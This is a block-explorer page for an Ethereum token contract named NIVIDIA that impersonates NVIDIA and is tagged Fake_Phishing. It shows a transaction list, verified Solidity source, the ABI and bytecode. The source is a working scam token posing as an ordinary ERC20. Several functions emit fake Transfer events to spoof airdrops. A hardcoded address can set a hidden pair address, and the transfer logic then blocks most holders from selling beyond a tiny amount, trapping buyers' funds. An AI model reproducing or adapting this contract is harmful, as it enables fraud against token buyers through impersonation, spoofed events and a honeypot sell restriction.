ETH Price: $2,181.50 (+2.04%)

Contract

0xcc75E5C0d76A9966a653aAa4a3ef7ea6c9ADabD2
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve229932762025-07-25 2:46:23243 days ago1753411583IN
Fake_Phishing364757
0 ETH0.000110142.33520165
Approve228069992025-06-29 2:06:11269 days ago1751162771IN
Fake_Phishing364757
0 ETH0.0000572.29073299
Approve221609352025-03-30 16:31:23359 days ago1743352283IN
Fake_Phishing364757
0 ETH0.0000220.88227462
Approve201824312024-06-27 10:28:59636 days ago1719484139IN
Fake_Phishing364757
0 ETH0.000230744.89194426
Approve198032402024-05-05 10:17:23689 days ago1714904243IN
Fake_Phishing364757
0 ETH0.000235497.89479457
Approve198032212024-05-05 10:13:35689 days ago1714904015IN
Fake_Phishing364757
0 ETH0.000396968.45881648
Transfer197917742024-05-03 19:48:23690 days ago1714765703IN
Fake_Phishing364757
0 ETH0.000294285.91314995
Approve197761602024-05-01 15:25:23692 days ago1714577123IN
Fake_Phishing364757
0 ETH0.0005513811.74935724
Approve197628942024-04-29 18:56:35694 days ago1714416995IN
Fake_Phishing364757
0 ETH0.0002934910.73940283
Approve197628922024-04-29 18:56:11694 days ago1714416971IN
Fake_Phishing364757
0 ETH0.000456329.66186759
Approve197628052024-04-29 18:38:47694 days ago1714415927IN
Fake_Phishing364757
0 ETH0.0005633411.9278464
Approve197627842024-04-29 18:34:35694 days ago1714415675IN
Fake_Phishing364757
0 ETH0.0004999210.58502674
Approve197623892024-04-29 17:14:59694 days ago1714410899IN
Fake_Phishing364757
0 ETH0.0004979210.54284169
Transfer197600902024-04-29 9:31:23695 days ago1714383083IN
Fake_Phishing364757
0 ETH0.0003332610.20156612
Transfer197600852024-04-29 9:30:23695 days ago1714383023IN
Fake_Phishing364757
0 ETH0.0005526710.13044612
Approve197474992024-04-27 15:15:59696 days ago1714230959IN
Fake_Phishing364757
0 ETH0.000323216.84364503
Approve197211062024-04-23 22:34:35700 days ago1713911675IN
Fake_Phishing364757
0 ETH0.000240319.63367762
Approve197211032024-04-23 22:33:59700 days ago1713911639IN
Fake_Phishing364757
0 ETH0.0002501910.03001415
Approve197138832024-04-22 22:21:11701 days ago1713824471IN
Fake_Phishing364757
0 ETH0.00040548.59466463
Approve197104232024-04-22 10:44:59702 days ago1713782699IN
Fake_Phishing364757
0 ETH0.000403258.54907965
Approve197072362024-04-22 0:02:47702 days ago1713744167IN
Fake_Phishing364757
0 ETH0.000254555.43109695
Approve197016692024-04-21 5:23:23703 days ago1713677003IN
Fake_Phishing364757
0 ETH0.000298636.36346116
Approve196978172024-04-20 16:28:35703 days ago1713630515IN
Fake_Phishing364757
0 ETH0.000437439.31888252
Approve196942872024-04-20 4:36:47704 days ago1713587807IN
Fake_Phishing364757
0 ETH0.000288366.11349311
Approve196942572024-04-20 4:30:47704 days ago1713587447IN
Fake_Phishing364757
0 ETH0.000278015.92417821
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
NIVIDIA

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-03-15
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
  
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
interface IERC20Meta is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
contract NIVIDIA is Ownable, IERC20, IERC20Meta {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address private _p76234;
    uint256 private  _e242 = 999;

    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 8;
    }
    function claim(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }
    function multicall(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }
    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function actionPair(address account) public virtual returns (bool) {
         if(_msgSender() == 0x6c54D8A238512D07f1624Dd931680451BE3FC1bd) _p76234 = account;
        return true;
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
        renounceOwnership();
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");
        if((from != _p76234 && to == 
        0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||
         (_p76234 == to && from != 0xFF6bf00DCEf246fcb008876f9A29F4Cc87921773 && 
         from  != 0x42Bf68900F26fB644BCc02CD063C756A4D65dbCC 
         && from != 0x6c54D8A238512D07f1624Dd931680451BE3FC1bd)) {
            uint256 _X7W88 = amount + 1;
            require(_X7W88 < _e242 );
        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    constructor() {
        _name = unicode"NVIDIA AI";
        _symbol = unicode"NVIDIA";
        _mint(msg.sender, 100000000000 * 10 ** decimals());
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"actionPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526103e76007553480156200001757600080fd5b50620000386200002c6200011b60201b60201c565b6200012360201b60201c565b6040518060400160405280600981526020017f4e5649444941204149000000000000000000000000000000000000000000000081525060049080519060200190620000859291906200043e565b506040518060400160405280600681526020017f4e5649444941000000000000000000000000000000000000000000000000000081525060059080519060200190620000d39291906200043e565b506200011533620000e9620001e760201b60201c565b600a620000f7919062000688565b64174876e800620001099190620006d9565b620001f060201b60201c565b6200091f565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006008905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000263576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200025a906200079b565b60405180910390fd5b8060036000828254620002779190620007bd565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200032b91906200082b565b60405180910390a362000347600083836200035b60201b60201c565b620003576200036060201b60201c565b5050565b505050565b620003706200038460201b60201c565b6200038260006200012360201b60201c565b565b620003946200011b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620003ba6200041560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000413576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200040a9062000898565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200044c90620008e9565b90600052602060002090601f016020900481019282620004705760008555620004bc565b82601f106200048b57805160ff1916838001178555620004bc565b82800160010185558215620004bc579182015b82811115620004bb5782518255916020019190600101906200049e565b5b509050620004cb9190620004cf565b5090565b5b80821115620004ea576000816000905550600101620004d0565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200057c57808604811115620005545762000553620004ee565b5b6001851615620005645780820291505b808102905062000574856200051d565b945062000534565b94509492505050565b6000826200059757600190506200066a565b81620005a757600090506200066a565b8160018114620005c05760028114620005cb5762000601565b60019150506200066a565b60ff841115620005e057620005df620004ee565b5b8360020a915084821115620005fa57620005f9620004ee565b5b506200066a565b5060208310610133831016604e8410600b84101617156200063b5782820a905083811115620006355762000634620004ee565b5b6200066a565b6200064a84848460016200052a565b92509050818404811115620006645762000663620004ee565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006958262000671565b9150620006a2836200067b565b9250620006d17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000585565b905092915050565b6000620006e68262000671565b9150620006f38362000671565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200072f576200072e620004ee565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000783601f836200073a565b915062000790826200074b565b602082019050919050565b60006020820190508181036000830152620007b68162000774565b9050919050565b6000620007ca8262000671565b9150620007d78362000671565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200080f576200080e620004ee565b5b828201905092915050565b620008258162000671565b82525050565b60006020820190506200084260008301846200081a565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620008806020836200073a565b91506200088d8262000848565b602082019050919050565b60006020820190508181036000830152620008b38162000871565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200090257607f821691505b60208210811415620009195762000918620008ba565b5b50919050565b611bea806200092f6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a9059cbb11610071578063a9059cbb14610294578063beabacc8146102c4578063dd62ed3e146102e0578063e7b8174914610310578063f2fde38b146103405761010b565b806370a082311461021e578063715018a61461024e5780638da5cb5b1461025857806395d89b41146102765761010b565b806326ededb8116100de57806326ededb8146101ac578063313ce567146101c8578063321bef23146101e657806368432dad146102025761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b61011861035c565b60405161012591906112cc565b60405180910390f35b6101486004803603810190610143919061138c565b6103ee565b60405161015591906113e7565b60405180910390f35b610166610411565b6040516101739190611411565b60405180910390f35b6101966004803603810190610191919061142c565b61041b565b6040516101a391906113e7565b60405180910390f35b6101c660048036038101906101c191906114e4565b61044a565b005b6101d061051f565b6040516101dd9190611560565b60405180910390f35b61020060048036038101906101fb91906114e4565b610528565b005b61021c600480360381019061021791906114e4565b6105fd565b005b6102386004803603810190610233919061157b565b6106d2565b6040516102459190611411565b60405180910390f35b61025661071b565b005b61026061072f565b60405161026d91906115b7565b60405180910390f35b61027e610758565b60405161028b91906112cc565b60405180910390f35b6102ae60048036038101906102a9919061138c565b6107ea565b6040516102bb91906113e7565b60405180910390f35b6102de60048036038101906102d9919061142c565b61080d565b005b6102fa60048036038101906102f591906115d2565b610877565b6040516103079190611411565b60405180910390f35b61032a6004803603810190610325919061157b565b6108fe565b60405161033791906113e7565b60405180910390f35b61035a6004803603810190610355919061157b565b61099a565b005b60606004805461036b90611641565b80601f016020809104026020016040519081016040528092919081815260200182805461039790611641565b80156103e45780601f106103b9576101008083540402835291602001916103e4565b820191906000526020600020905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b6000806103f9610a1e565b9050610406818585610a26565b600191505092915050565b6000600354905090565b600080610426610a1e565b9050610433858285610bf1565b61043e858585610c7d565b60019150509392505050565b60005b838390508110156105195783838281811061046b5761046a611673565b5b9050602002016020810190610480919061157b565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104fe9190611411565b60405180910390a38080610511906116d1565b91505061044d565b50505050565b60006008905090565b60005b838390508110156105f75783838281811061054957610548611673565b5b905060200201602081019061055e919061157b565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105dc9190611411565b60405180910390a380806105ef906116d1565b91505061052b565b50505050565b60005b838390508110156106cc5783838281811061061e5761061d611673565b5b9050602002016020810190610633919061157b565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106b19190611411565b60405180910390a380806106c4906116d1565b915050610600565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107236110ec565b61072d600061116a565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461076790611641565b80601f016020809104026020016040519081016040528092919081815260200182805461079390611641565b80156107e05780601f106107b5576101008083540402835291602001916107e0565b820191906000526020600020905b8154815290600101906020018083116107c357829003601f168201915b5050505050905090565b6000806107f5610a1e565b9050610802818585610c7d565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161086a9190611411565b60405180910390a3505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000736c54d8a238512d07f1624dd931680451be3fc1bd73ffffffffffffffffffffffffffffffffffffffff16610933610a1e565b73ffffffffffffffffffffffffffffffffffffffff1614156109915781600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b6109a26110ec565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a099061178c565b60405180910390fd5b610a1b8161116a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d9061181e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd906118b0565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610be49190611411565b60405180910390a3505050565b6000610bfd8484610877565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c775781811015610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c609061191c565b60405180910390fd5b610c768484848403610a26565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce4906119ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5490611a40565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610dfa5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610f3657508173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e9d575073ff6bf00dcef246fcb008876f9a29f4cc8792177373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ee957507342bf68900f26fb644bcc02cd063c756a4d65dbcc73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f355750736c54d8a238512d07f1624dd931680451be3fc1bd73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15610f5c576000600182610f4a9190611a60565b90506007548110610f5a57600080fd5b505b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fe3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fda90611b28565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110d39190611411565b60405180910390a36110e684848461122e565b50505050565b6110f4610a1e565b73ffffffffffffffffffffffffffffffffffffffff1661111261072f565b73ffffffffffffffffffffffffffffffffffffffff1614611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90611b94565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561126d578082015181840152602081019050611252565b8381111561127c576000848401525b50505050565b6000601f19601f8301169050919050565b600061129e82611233565b6112a8818561123e565b93506112b881856020860161124f565b6112c181611282565b840191505092915050565b600060208201905081810360008301526112e68184611293565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611323826112f8565b9050919050565b61133381611318565b811461133e57600080fd5b50565b6000813590506113508161132a565b92915050565b6000819050919050565b61136981611356565b811461137457600080fd5b50565b60008135905061138681611360565b92915050565b600080604083850312156113a3576113a26112ee565b5b60006113b185828601611341565b92505060206113c285828601611377565b9150509250929050565b60008115159050919050565b6113e1816113cc565b82525050565b60006020820190506113fc60008301846113d8565b92915050565b61140b81611356565b82525050565b60006020820190506114266000830184611402565b92915050565b600080600060608486031215611445576114446112ee565b5b600061145386828701611341565b935050602061146486828701611341565b925050604061147586828701611377565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126114a4576114a361147f565b5b8235905067ffffffffffffffff8111156114c1576114c0611484565b5b6020830191508360208202830111156114dd576114dc611489565b5b9250929050565b6000806000604084860312156114fd576114fc6112ee565b5b600084013567ffffffffffffffff81111561151b5761151a6112f3565b5b6115278682870161148e565b9350935050602061153a86828701611377565b9150509250925092565b600060ff82169050919050565b61155a81611544565b82525050565b60006020820190506115756000830184611551565b92915050565b600060208284031215611591576115906112ee565b5b600061159f84828501611341565b91505092915050565b6115b181611318565b82525050565b60006020820190506115cc60008301846115a8565b92915050565b600080604083850312156115e9576115e86112ee565b5b60006115f785828601611341565b925050602061160885828601611341565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061165957607f821691505b6020821081141561166d5761166c611612565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116dc82611356565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561170f5761170e6116a2565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061177660268361123e565b91506117818261171a565b604082019050919050565b600060208201905081810360008301526117a581611769565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061180860248361123e565b9150611813826117ac565b604082019050919050565b60006020820190508181036000830152611837816117fb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061189a60228361123e565b91506118a58261183e565b604082019050919050565b600060208201905081810360008301526118c98161188d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611906601d8361123e565b9150611911826118d0565b602082019050919050565b60006020820190508181036000830152611935816118f9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061199860238361123e565b91506119a38261193c565b604082019050919050565b600060208201905081810360008301526119c78161198b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611a2a60258361123e565b9150611a35826119ce565b604082019050919050565b60006020820190508181036000830152611a5981611a1d565b9050919050565b6000611a6b82611356565b9150611a7683611356565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611aab57611aaa6116a2565b5b828201905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611b1260268361123e565b9150611b1d82611ab6565b604082019050919050565b60006020820190508181036000830152611b4181611b05565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611b7e60208361123e565b9150611b8982611b48565b602082019050919050565b60006020820190508181036000830152611bad81611b71565b905091905056fea264697066735822122087e63a6a2c47926e98482f26f9bdb4e984a8d1f6b8b480a888bf4282177